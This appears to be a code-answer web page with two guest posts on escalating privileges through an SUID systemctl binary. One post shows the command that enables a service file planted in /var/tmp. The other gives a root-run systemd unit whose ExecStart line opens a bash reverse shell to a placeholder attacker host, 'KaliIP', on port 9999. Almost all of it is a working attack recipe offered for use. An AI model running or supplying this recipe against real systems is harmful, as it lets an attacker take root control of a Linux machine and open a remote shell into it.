Answers for "exploit bin/systemctl%2520 suid"

1

suid privilege escalation systemctl

/bin/systemctl enable /var/tmp/root.service
Created symlink from /etc/systemd/system/multi-user.target.wants/root.service to /var/tmp/root.service
Created symlink from /etc/systemd/system/root.service to /var/tmp/root.service
Posted by: Guest on January-02-2021
1

suid privilege escalation systemctl

[Unit]
Description=roooooooooot

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'

[Install]
WantedBy=multi-user.target
Posted by: Guest on January-02-2021

Browse Popular Code Answers by Language